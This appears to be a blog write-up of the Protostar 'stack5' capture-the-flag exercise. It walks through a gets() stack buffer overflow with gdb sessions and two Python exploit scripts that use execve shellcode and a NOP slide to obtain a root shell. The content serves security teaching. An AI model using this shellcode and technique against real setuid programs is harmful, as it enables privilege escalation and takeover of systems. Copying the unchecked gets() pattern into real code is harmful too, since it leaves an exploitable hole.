Protostar - stack5
This is one of my favorite challenges. We actually get to do something useful here. Our task is to execute shellcode. Shellcode is nothing but a sequence of bytes, which when executed does some task. Note that this only works if the stack is executable. This is true for older machines, however newer ones mitigate this vulnerability my making the stack non executable. We don’t have to worry much about that. So here’s the code.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Nothing useful overhere, except the fact that we have an exploitable gets()
function. So our choice of attack is a buffer overflow. We know from the previous post, that we can overflow into the EIP. Thus controlling the codeflow.
Once we can do that, it’s just a matter of redirecting control to our ‘injected’ shell code. First things first. Let’s get the offset of the EIP. I’m using pwntools to generate the offset string.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) break *0x080483d9
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
Breakpoint 1, main (argc=1633771893, argv=0x61616176) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
Finding “0x61616174” in the offset string we find the location of the EIP at 76 bytes. So our address to our shellcode goes after 76 bytes of padding. Before we proceed let’s take a look at the stack and figure out where to place our shell code.
$ python -c "print 'A' * 76 + 'ABCD'" > /tmp/exploit
$ gdb stack5
(gdb) break *0x080483d9
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r < /tmp/exploit
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit
Breakpoint 1, main (argc=0, argv=0xbffff854) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) x/24wx $esp
0xbffff7b0: 0x00000000 0xbffff854 0xbffff85c 0xb7fe1848
0xbffff7c0: 0xbffff810 0xffffffff 0xb7ffeff4 0x08048232
0xbffff7d0: 0x00000001 0xbffff810 0xb7ff0626 0xb7fffab0
0xbffff7e0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff7f0: 0xbffff828 0x87ea710a 0xadbd671a 0x00000000
0xbffff800: 0x00000000 0x00000000 0x00000001 0x08048310
We can probably choose anyone of these addresses, let’s try the first one 0xbffff7b0
.
Below is the exploit script code.
import struct
offset = 'A' * 76
address = struct.pack("I", 0xbffff7b0)
shellcode = 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
def go():
print offset + address + shellcode
go()
Now let’s run this and see what happens.
$ python /tmp/exploit.py | ./stack5
Oh oh!. Something’s not right, we’re getting an illegal instruction error. Let’s take a look at it in the debugger. We find something even more funny here, it works perfectly fine in the debugger.
$ python /tmp/exploit.py > /tmp/exploit
$ gdb stack5
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) break *0x080483d9
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r < /tmp/exploit
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit
Breakpoint 1, main (argc=795371626, argv=0x68732f2f) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) c
Continuing.
Executing new program: /bin/dash
Program exited normally.
This actually bugged me for quite some time. I found a solution to this in the reddit thread here. What happens is that when you execute a program, the OS even pushes the environment variables onto the stack. Now when we run the executable outside gdb, the environment is different, and hence the shellcode gets misaligned. To counter this we can use something called as a NOP slide. NOP is short for no instruction, which will basically do nothing. The idea is that you set your EIP to an arbitrary address which you hope will land on the NOP slide. We place our shellcode after the NOP slide, so when the NOPs are done executing, our shellcode is executed. There is a little trick to choosing this arbitrary address and length of NOP slides, they should be a multiple of 4, else your shellcode will be misaligned. This is what is happening to us outside gdb, our shellcode is getting misaligned, so let’s fix it. The below exploit is with a little trial and error, but you should get the idea.
import struct
offset = 'A' * 76
address = struct.pack("I", 0xbffff7b0 + 16)
nopslide = '\x90' * 32
shellcode = 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
def go():
print offset + address + nopslide + shellcode
go()
Let’s run it:
$ python /tmp/exploit.py | ./stack5
$
Ok, so no error this time. This begs the question, how do we use the shell, since it exits as soon as it is created. The reason is that as the input stream closes the shell also exits. So we need a way to hold the input stream. After digging around a little I came across this stackoverflow post.
So using one of those techniques…
$ (python /tmp/exploit.py; cat) | ./stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
Owned! We finally managed to get a shell with root privilages. I hope this gives you a taste of privilage escalation. This was by far the most fun exercise I’ve done. Hope you enjoyed this too :)